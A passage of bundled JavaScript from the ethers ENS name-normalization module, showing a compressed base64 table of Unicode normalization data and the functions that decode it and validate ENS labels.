sorted);\n if (keys.length == 0)\n break;\n branches.push({ set: new Set(keys), node: read() });\n }\n branches.sort((a, b) => b.set.size - a.set.size);\n let temp = next();\n let valid = temp % 3;\n temp = temp / 3 | 0;\n let fe0f = !!(temp & 1);\n temp >>= 1;\n let save = temp == 1;\n let check = temp == 2;\n return { branches, valid, fe0f, save, check };\n }\n}\n\n// node_modules/@ethersproject/hash/lib.esm/ens-normalize/include.js\nfunction getData() {\n return read_compressed_payload(decode(\"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\"));\n}\n\n// node_modules/@ethersproject/hash/lib.esm/ens-normalize/lib.js\nvar r = getData();\nvar VALID = new Set(read_member_array(r));\nvar IGNORED = new Set(read_member_array(r));\nvar MAPPED = read_mapped_map(r);\nvar EMOJI_ROOT = read_emoji_trie(r);\nvar HYPHEN = 45;\nvar UNDERSCORE = 95;\nfunction explode_cp(name) {\n return toUtf8CodePoints(name);\n}\nfunction filter_fe0f(cps) {\n return cps.filter((cp) => cp != 65039);\n}\nfunction ens_normalize_post_check(name) {\n for (let label of name.split(\".\")) {\n let cps = explode_cp(label);\n try {\n for (let i = cps.lastIndexOf(UNDERSCORE) - 1; i >= 0; i--) {\n if (cps[i] !== UNDERSCORE) {\n throw new Error(`underscore only allowed at start`);\n }\n }\n if (cps.length >= 4 && cps.every((cp) => cp < 128) && cps[2] === HYPHEN && cps[3] === HYPHEN) {\n throw new Error(`invalid label extension`);\n }\n } catch (err) {\n throw new Error(`Invalid label \"${label}\": ${err.message}`);\n }\n }\n return name;\n}\nfunction ens_normalize(name) {\n return ens_normalize_post_check(normalize(name, filter_fe0f));\n}\nfunction normalize(name, emoji_filter) {\n let input = explode_cp(name).reverse();\n let output = [];\n while (input.length) {\n let emoji = consume_emoji_reversed(input);\n if (emoji) {\n output.push(...emoji_filter(emoji));\n continue;\n }\n let cp = input.pop();\n if (VALID.has(cp)) {\n output.push(cp);\n 